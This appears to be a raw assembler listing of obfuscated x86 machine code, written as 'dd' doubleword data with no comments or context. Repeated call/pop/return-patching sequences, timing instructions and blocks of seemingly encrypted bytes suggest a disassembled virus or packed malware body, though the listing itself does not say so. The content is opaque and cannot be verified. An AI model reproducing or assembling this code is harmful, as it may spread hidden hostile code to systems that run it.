		dd 0BB05EB84h, 5ADE2DE5h, 0F88B006Ah, 21C195FFh, 6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 784F04C3h, 0A2A307C9h, 6800Fh, 0DF810000h, 1241E918h
		dd 100FB9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0BDA0F35Ch, 0E93E312Bh, 14h, 0E379EAA3h
		dd 529F4505h, 3554C198h, 59662652h, 551BC3A2h, 3850Fh
		dd 0BF0F0000h, 0FCE183FAh, 0FCDAB70Fh, 12819D33h, 0B805E7h
		dd 66000000h, 35BCE781h, 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0AD9EA3C3h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 6ED2C355h, 71285E82h
		dd 0C9A501E5h, 0C8D0Fh,	8F0F0000h, 6, 1711BD33h, 5E805E7h
		dd 88000000h, 0B3D5C9E6h, 8E960h, 598D0000h, 0B619FD3Fh
		dd 890F2B3Bh, 0
aAI		db 'a[',0Dh,'ˆ',0
		db 2 dup(0), 6Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C5A6C353h, 0DE8BEEA4h, 0CBF38166h, 0A9958B5Ah
		dd 2905E71Ah, 0E7117195h, 4D8D8B05h, 6A05E72Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 7A30C351h, 0F12FA7A3h, 8942210Ch, 0E712ED9Dh, 0F5858905h
		dd 5005E728h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0A810F58h, 0F000000h, 48Dh, 50BB6600h, 65BD8304h, 5E718h
		dd 6C840Fh, 89530000h, 0E70B419Dh, 0B85F05h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 8F78C356h, 80ABF66h, 8D8DADB3h, 5E74D24h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A8C35343h
		dd 2856D165h, 90837839h, 5E9h, 391C300h, 0E1FF55CAh, 21A59589h
		dd 0BD8305E7h, 5E72739h, 6F840F00h, 89000004h, 0E70BC195h
		dd 7E905h, 318B0000h, 3FA4349Eh, 39BD839Eh, 105E727h, 46B840Fh
		dd 0C3800000h, 39BD8372h, 305E727h, 425860Fh, 8A600000h
		dd 5E9DAh, 2AF90000h, 61167021h, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 5766CB7Ah
		dd 8C665FFCh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 43A380Bh,	0C78166B7h, 0E1800DCBh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0AD95019Eh, 0A05E732h, 5840FC9h,	6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 15C0C351h, 0BD897F3Ah, 5E721FDh, 8B43EF80h
		dd 0E7069985h, 0DF816605h, 85331980h, 5E71309h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EC35747h, 0BD858946h
		dd 5005E721h, 94D8DABFh, 2404892Eh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 65C35747h, 7A30867Ah, 602FA7A3h
		dd 28A0Fh, 0B1B10000h, 0BD8961F8h, 5E70A19h, 0BD31006Ah
		dd 5E704A9h, 0AE8h, 0B347CA00h,	0BEB36144h, 899FA3F2h
		dd 0E711A5B5h, 0DF685B05h, 8BA54C81h, 240481D9h, 5AD28220h
		dd 7EC78166h, 7195FFEDh, 8905E71Bh, 0E72D5D8Dh,	46858905h
		dd 0F805EAA6h, 226E9h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0C6A38BF4h, 0EF065117h
		dd 0A63E858Bh, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0DB51B2C3h, 880F0E09h, 6, 24819D8Bh
		dd 0C705E7h, 18h, 0F860F960h, 0FF2EEB81h, 61610203h, 0A642B58Bh
		dd 0BD8905EAh, 5E70C69h, 3289858Bh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A8C64AC3h
		dd 9D0B56DBh, 5E72F4Dh,	6A0689h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 17CC5CC3h, 75BD0907h
		dd 8B05E71Dh, 0E7069985h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0FEF64D26h
		dd 0EAD682B6h, 4689D6DEh, 158D0104h, 5005E702h,	348900B3h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4C8BFFB1h, 3F942A4Ah, 8F0FD08Eh,	0
		dd 0C8C0Fh, 890F0000h, 6, 2BD19D89h, 0B5FF05E7h, 5EAA63Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 34C35141h
		dd 4F709B2h, 60512692h,	0A79AD181h, 0BA666024h,	5B611410h
		dd 0E820C380h, 4, 1F03FFh, 0EE9h, 588E3700h, 90A4DF2h
		dd 19DAAD3Fh, 50C28915h, 6DBB6657h, 448B5BE3h, 0BF660424h
		dd 8BE0A2h, 89D88B66h, 66042444h, 6A58DA8Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 106BC353h, 16199D1Dh, 0CB76AE39h, 0A646858Dh, 5E905EAh
		dd 75000000h, 13FBF88Fh, 68B0F90h, 50000000h, 5A310F52h
		dd 50515058h, 0F5B5352h, 5A5B5131h, 6A905F58h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FF84C351h, 0E71B7195h, 0F59D8B05h, 6105E701h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2FC35747h, 7BB15F29h
		dd 0C7D88B34h, 0E7273985h, 305h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 14E91A31h
		dd 51000000h, 3A89BD5Eh, 957DD5FBh, 0E5C24E66h,	0A7638954h
		dd 83AE566Fh, 0EAA646BDh, 840F0005h, 27h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 40C35646h, 0E97AC70Dh
		dd 1Eh,	50D8B70Fh, 110C30h, 0C1011144h,	443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 9509C08Bh,	5E70A39h, 0F28B6660h, 118D8B60h
		dd 8B05E727h, 0E717799Dh, 83616105h, 0E72739BDh, 850F0305h
		dd 43Fh, 1471BD2Bh, 0BD8305E7h,	5EAA646h, 2C840F00h, 8B000004h
		dd 0E72C559Dh, 46B5FF05h, 6A05EAA6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6E18C355h
		dd 0C30D0488h, 9D89AE2Ch, 5E71B59h, 11E9h, 0D51E7E00h
		dd 5649D822h, 4E35A8D0h, 0C4B23157h, 95FF5AB0h,	5E70219h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8AC35646h
		dd 0AE6F4F31h, 8D89868Ch, 5E705B1h, 0A63AB58Bh,	6A05EAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0AC7ACBC3h, 330E5E6h, 0AE8725Bh, 4C000000h, 7D12DA9Ch
		dd 0BC9E29BCh, 19D29C0h, 5B05E733h, 106C7h, 9D890001h
		dd 5E71C61h, 0C18D2360h, 6105E712h, 50525050h, 49BF6652h
		dd 5A310FE5h, 0F310F58h, 28Dh, 5AFA8B00h, 24348958h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 47C35747h, 4A9B64C9h
		dd 0B9B9BF66h, 6890Fh, 0B5890000h, 5E73319h, 0A646B5FFh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B70FAAC3h, 3195FFDAh, 6A05E700h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4FC7C353h, 35F78125h, 891A3B52h, 0E71C0D8Dh,	6A36BF05h
		dd 0B58B2D52h, 5EAA63Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0CAC35646h, 6C75E7h, 79F9BB3Eh, 858B21F8h
		dd 5E7187Dh, 19D5BD8Bh,	7E805E7h, 17000000h, 5A4BF58Dh
		dd 0BB6651D8h, 895F3937h, 0C486h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 958B303Bh
		dd 5E71AA9h, 11E9h, 0E2C54C00h,	0D6C5085Eh, 0E1EC52CBh
		dd 0E517CA55h, 0C283B797h, 69B58904h, 8905E72Dh, 6A2050h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0A5E7BAC3h, 0EB821D5Fh, 8D89967Bh, 0EABAC385h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 80ECF0D5h, 868963CFh, 0B8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0B1C35141h,	0D2B097Eh, 24559501h
		dd 890F05E7h, 0
		dd 0EE9006Ah, 2B000000h, 18ACB4BDh, 0A44A8ED9h,	7FD81845h
		dd 0CABB66DBh, 46B5FF3Ch, 6A05EAA6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A59DC355h
		dd 3BAB119Dh, 1ABD95FFh, 0B58905E7h, 5E7205Dh, 50F88A96h
		dd 66965F52h, 0FF94C0BFh, 0EAA646B5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 49AD3C7Ah, 3527C051h, 8B0FE743h, 2, 95FFDA8Bh, 5E70779h
		dd 835FF551h, 0E72D0DBDh, 840F0005h, 2Fh, 82D9D8Bh, 669605E7h
		dd 0BF50DF8Bh, 29E87EBAh, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0FFFC190Bh
		dd 0EAA646B5h, 0E5BD8B05h, 0FF05E725h, 0E7243595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 93592911h, 0D05E3A6Ah, 0B5FFD98Bh, 5EAA646h,	124EBB66h
		dd 76D95FFh, 816605E7h,	832FECE7h, 0E72D85BDh, 840F0205h
		dd 6Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 5BC35040h, 0F1A4944h, 89h, 85858B00h, 6A05E711h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A340C357h, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E1E7C357h,	5902C13Eh
		dd 0C7EB2706h, 0E7231985h, 5, 0B9E78100h, 0E923457Ah, 0FFFFF339h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D1C35646h
		dd 8A0F19A5h, 0
		dd 0BF66C18Bh, 858D0367h, 5E71395h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0EAC35747h,	6F669453h, 0F3DB5DFh
		dd 5050FEBFh, 0FFD8A52h, 890F6031h, 0
		dd 5A616160h, 24048958h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F9C35343h, 93C59F6Eh, 32F19D8Bh, 0BD2905E7h
		dd 5E72B15h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8078CCC3h, 0BF6648D7h, 6ACD81h
		dd 2BFAB70Fh, 0E71999BDh, 95858D05h, 6A05EC17h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 43A1C350h, 31539233h, 0E705D18Dh, 0C0835F05h, 50FB8B05h
		dd 48910B3h, 6D958924h,	6A05E728h, 0D98B6600h, 95FF006Ah
		dd 5E71A4Dh, 18919D8Bh,	8D8D05E7h, 5EAA4AAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 89175F1Fh
		dd 0E701F5B5h, 6AD1FF05h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 1715C357h, 2E66F5D6h
		dd 0CC7C72B6h, 2B8DBD83h, 0F0105E7h, 7585h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0B0D89347h, 79BD0B8Eh, 0F05E727h, 0A2BFDFBFh, 6A5E6104h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B668748h, 0BA6660DAh, 0C88B0E96h, 0DD8A9061h
		dd 60605350h, 905F6161h, 0A218509h, 95FF05E7h, 5E71ABDh
		dd 6590D781h, 0BFE9307Ch, 0E800000Ch, 0
		dd 9FED815Dh, 3105EC17h, 0E702699Dh, 8E905h, 7BA60000h
		dd 4888C2C3h, 0AE8FD76h, 0B000000h, 699BB7Dh, 26EEF067h
		dd 8E80Ah, 0E7720000h, 0CE4B396Dh, 0CB81887Ch, 72B277F6h
		dd 858D5B5Fh, 5EA90FDh,	0C840Fh, 800F0000h, 6, 860Fh, 50500000h
		dd 0F83B352h, 8B666031h, 0C68B66D0h, 89585A61h,	6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 6A111AC3h, 0D8EF32E0h, 0B73BB3CCh, 35FF640Bh, 0
		dd 2F11BD8Bh, 896405E7h, 25h, 659D0100h, 0FF05E702h, 0E714FD85h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 4746D054h, 89511B3Fh, 0E708C9BDh, 0D9EF8005h
		dd 0B70FFF6Ah, 0F1B5FFDAh, 0F05E72Ah, 589h, 9F43BF00h
		dd 95FF3C1Eh, 5E70451h,	0F6E9h,	0F2BB6600h, 0FE908h, 25D30000h
		dd 55D63781h, 0F7C98899h, 0FAC23544h, 0E600B00Ch, 7BBF6670h
		dd 8A71E483h, 6840FDCh,	33000000h, 0E70C599Dh, 0F613C05h
		dd 0BE83h, 0FDA8B00h, 8956C8B6h, 0E7237D85h, 6BA5B05h
		dd 66000000h, 0A20BD381h, 9531C18Bh, 5E70E75h, 0F904E8C1h
		dd 52E2F766h, 85B58960h, 2B05E700h, 0E72A8185h,	2B5F6105h
		dd 73DF81C8h, 8B19213Fh, 0D88B66D1h, 76E9h, 0A6ACBF00h
		dd 858B30B7h, 505F4C4Ch, 12C99D8Bh, 0C08305E7h,	1860F07h
		dd 0F9000000h, 0C0835FB3h, 0C99D8B00h, 3B05E719h, 14830FD0h
		dd 66000000h, 0D631D781h, 0E9FFB70Fh, 3Bh, 75CDBF57h, 8B5B05FFh
		dd 0FFFFFF8Dh, 52D381FFh, 8330F35Fh, 840F01E1h,	1Fh, 83FA8B66h
		dd 0FFFFFFA5h, 0BF66FEFFh, 95891167h, 505F4C4Ch, 2B359509h
		dd 0E905E7h, 8D000000h,	0EB943CB5h, 13E805h, 3C9D0000h
		dd 3E6C0B1Eh, 3E7C8A6h,	21A6D9C0h, 4731F214h, 61B501E0h
		dd 5F05E72Dh, 6830Fh, 85310000h, 5E70B21h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FF1E8FC3h, 0E721C195h, 959D8B05h, 0F05E719h, 0C8Bh
		dd 68C0F00h, 89000000h,	0E70129B5h, 10D8B905h, 0E1830000h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0B4F2E98Eh, 65BD890Bh, 0FC05E725h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 63C35646h, 200DBB01h
		dd 20ED1585h, 0E9C02BA5h, 12h, 43D987C1h, 47A0DDABh, 3252A9E9h
		dd 55A05B79h, 0D22BDF83h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 2EC35141h, 9642C765h,	0ADF1DDC2h, 0E8D1C233h
		dd 0E983D003h, 8AF47504h, 57006ADCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7AB7D7Bh, 19BD89A5h
		dd 0D05E714h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 37C35343h, 51640F48h,	8D853115h, 8B05E715h
		dd 0E71AA995h, 28E0F05h, 0B7000000h, 4D8D8B25h,	6A05E72Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0D5C352h,	1E7EECC1h, 1BC781D5h, 503BB9A0h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	1BD8958h
		dd 6A05E727h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 146CC357h, 0A2F06B9Fh,	1865BD83h
		dd 0F0005E7h, 6B84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8B93FFh, 5E70AC1h
		dd 0B8h, 0DF8B6000h, 0AD9D2961h, 8D05E71Fh, 0E74D248Dh
		dd 2D9D8905h, 8905E72Ah, 0E70C698Dh, 6AE1FF05h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0E094C350h, 24F922BCh, 0E6CCBD33h, 2739BD83h, 0F0005E7h
		dd 39A84h, 0FAB70F00h, 2739BD83h, 0F0105E7h, 3A584h, 83DE8B00h
		dd 0E72739BDh, 860F0305h, 360h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 80C35141h, 24384504h, 18682E40h
		dd 84B8BFA5h, 8B607B1Ch, 0E721E99Dh, 0D98C6605h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BBC35545h, 3C2C1963h
		dd 2F86C39Fh, 0BBA3B7E6h, 54E46E06h, 8004E180h,	0C90A3AC3h
		dd 120840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 275EFBC3h, 5E9F3h, 1C450000h, 8B599F12h
		dd 0E7069985h, 0EF816605h, 8533D7A7h, 5E71309h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FC35545h, 0E5D74489h
		dd 9B88E57h, 0E71771B5h, 6FC1BB05h, 0BB507034h,	0C5D008Eh
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 4995C357h, 0ADCA6BE9h,	72CB80F7h
		dd 7968006Ah, 0BF65F9F9h, 68A7539Dh, 86243481h,	0FC65E6FAh
		dd 1B7195FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0E8EF42C3h, 10E960h, 0B3150000h
		dd 0DFBC2B92h, 9F8B50B8h, 0B7F46D58h, 890F91A0h, 6, 8D0Fh
		dd 89610000h, 0EAA64685h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E9E93390h
		dd 16Eh, 7BC2EF81h, 858B3BA4h, 5EAA63Eh, 25D9D8Bh, 0B58905E7h
		dd 5E732D5h, 1800C7h, 8D010000h, 5E707B1h, 0A642B58Bh
		dd 0DA8B05EAh, 3289858Bh, 816605E7h, 89737DDBh,	890F6006h
		dd 5, 0C9D08166h, 89B531A4h, 6105E713h,	699858Bh, 6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0E2A1CAC3h, 35FA25E2h, 0CE918h, 0F9E90000h, 69C902D1h
		dd 5B778DD9h, 4689FE76h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 518D89CDh, 8B05E71Bh
		dd 0E70AB1BDh, 8B669605h, 0BB6650D9h, 0F9604D8h, 0B5FFD9B7h
		dd 5EAA63Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	13C35141h, 0E5B71FA7h, 0BDE9BB66h, 4E8h, 1F03FF00h
		dd 5079B300h, 424448Bh,	0E8C38B60h, 7, 0B7AD8A10h, 0B8D9B563h
		dd 2A4C05CAh, 8B615Bh, 0AE9h, 30867A00h, 2FA7A37Ah, 89210CF1h
		dd 58042444h, 1CBD9D33h, 0CB8105E7h, 63304395h,	0A646858Dh
		dd 0BB6605EAh, 8950CCDCh, 9D332404h, 5E72461h, 1B7195FFh
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0E7669CC3h, 0A5ABD381h, 0E96140E1h, 14h
		dd 2AD753BBh, 1553219Fh, 5A83BA4Bh, 6137C2E0h, 41D1365Ch
		dd 273985C7h, 305E7h, 9D8B0000h, 5E70B35h, 0A646BD83h
		dd 0F0005EAh, 3384h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 198D936Ah, 0DABF0F26h
		dd 29E5BD8Bh, 20E905E7h, 66000000h, 962EEB81h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 9683C357h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 83BBE64Ah, 0E72739BDh, 850F0305h
		dd 3FFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0B3C35343h, 7123FAC3h, 0EE995EEh, 7F000000h, 3EEB702h
		dd 0C88842B9h
		dd 1E515F89h, 46BD8306h, 5EAA6h, 3BD840Fh, 9D0B0000h, 5E717D9h
		dd 0A646B5FFh, 0BF0F05EAh, 1995FFFAh, 8105E702h, 7699F5F3h
		dd 3AB58B50h, 0E905EAA6h, 0Bh, 5C350607h, 8970DA4Ah, 0C73BDA17h
		dd 1000106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0A21D3FB9h, 0C59589DFh, 0E905E722h
		dd 11h,	0FB799249h, 0FD60C4E2h,	0DBCCE004h, 5100C53Ah
		dd 8B6650B9h, 243489FEh, 0FF19EB80h, 0EAA646B5h, 31BD8905h
		dd 0FF05E70Ah, 0E7003195h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 299A3A6Eh
		dd 8001A8DCh, 0CF81D5D3h, 78E03857h, 0A63AB58Bh, 9D8B05EAh
		dd 5E72915h, 0A8F0Fh, 870F0000h, 4, 5131BB66h, 187D858Bh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 565E08C3h, 0F5A368CFh, 38E0Fh, 0BF0F0000h
		dd 0C48689D8h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B583C351h,	0E20B6479h
		dd 44413BB4h, 958B67B7h, 5E71AA9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 1C35343h, 4B9B531h,	0C28305E7h
		dd 13E904h, 0FEAB0000h,	2DDD8611h, 42A7600Eh, 6787AF36h
		dd 0DF1DCA3Bh, 20508953h, 8E8h,	75830B00h, 91052710h, 2995896Dh
		dd 5B05E717h, 6E9h, 8D036200h, 8D8C1809h, 0EABAC385h, 6E805h
		dd 0A41D0000h, 0CB47D2C6h, 0D42EBEBFh, 0BE95F56h, 0E2000000h
		dd 8DCFA161h, 5599F81Dh, 86893232h, 0B8h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 86C35040h, 0FE8BB1A4h
		dd 2CF59D8Bh, 6A05E7h, 0FFFA8B66h, 0EAA646B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D54B1EFCh, 0BD8B234Dh, 5E7251Dh, 1ABD95FFh,	8C0F05E7h
		dd 3, 50DBB70Fh, 0EE9h,	0DEB83D00h, 40EBF114h, 20AA096Fh
		dd 89222BB8h, 85892434h, 5E7274Dh, 0A646B5FFh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E9F74EC3h, 0Eh, 0F841678Dh,	0D2376DADh, 285E826Eh
		dd 95FFE571h, 5E70779h,	225DB531h, 0BD8305E7h, 5E72D0Dh
		dd 33840F00h, 0BB000000h, 480BD903h, 8B525050h,	66310FF8h
		dd 5A4ACCBFh, 24348958h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 15C35343h, 0B5FF37E0h, 5EAA646h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8C35343h, 0EB5660Ah
		dd 0FF4770F8h, 0E7243595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BB665004h
		dd 0B5FF8775h, 5EAA646h, 13459D8Bh, 95FF05E7h, 5E7076Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 52C35343h
		dd 0B68BB95Ah, 85BD83D5h, 205E72Dh, 54840Fh, 0E9570000h
		dd 14h,	0B2053E3Dh, 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h
		dd 85858B5Fh, 6005E711h, 0F081F18Bh, 41CE71Eh, 0C6F861h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 22069AA9h, 2C39BD33h, 85C705E7h,	5E72319h
		dd 0
		dd 0E9FEB70Fh, 0FFFFF470h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 2C35646h, 8D89527Fh, 5E7289Dh, 6AC18B5Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0E8E7C350h, 5105E75Ah, 6A95CF81h,	858D357Ch
		dd 5E71395h, 2ED1BD31h,	509005E7h, 5B5B5652h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0BE9BF8AFh, 78F4402Ah, 2711BD23h, 6A05E7h, 6800Fh, 0CB810000h
		dd 521B01E9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 7A8425C3h, 858D378Fh, 5EC25EEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 70C35040h
		dd 891C8A29h, 5AB0B1Bh,	18499D01h, 0C08305E7h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6DF3F70Eh, 3C0A1E2Dh, 0C820F5Dh, 0F000000h, 68Ah, 0EDB58900h
		dd 0F05E725h, 5750FFB7h, 643F19BFh, 4895B33h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 1BB9CA0Fh, 66194D1Bh, 0BB60601Ah, 65EDF26Ch,	7E8h, 5EADFB00h
		dd 0CCA0DC21h, 0C7B5615Fh, 1028BB61h, 6A1FE1h, 5858960h
		dd 8905E720h, 0E70BF185h, 6A6105h, 1A4D95FFh, 8D8D05E7h
		dd 5EAA4AAh, 1FC19D2Bh,	0D1FF05E7h, 2AF9B529h, 0BD8305E7h
		dd 5E72B8Dh, 38850F01h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6A1AC351h
		dd 0DBB79002h, 6E950h, 0EC90000h, 0E1BCF584h, 0DAB70F90h
		dd 1ABD95FFh, 0E9F905E7h, 0ECCh, 0E8h, 0ED815D00h, 5EC25F8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h
		dd 83D1E884h, 8166607Bh, 0FF371DEh, 38Fh, 0DA8B6600h, 8D5B5661h
		dd 0EA90FD85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0BAC4EC87h, 0FBADE26h
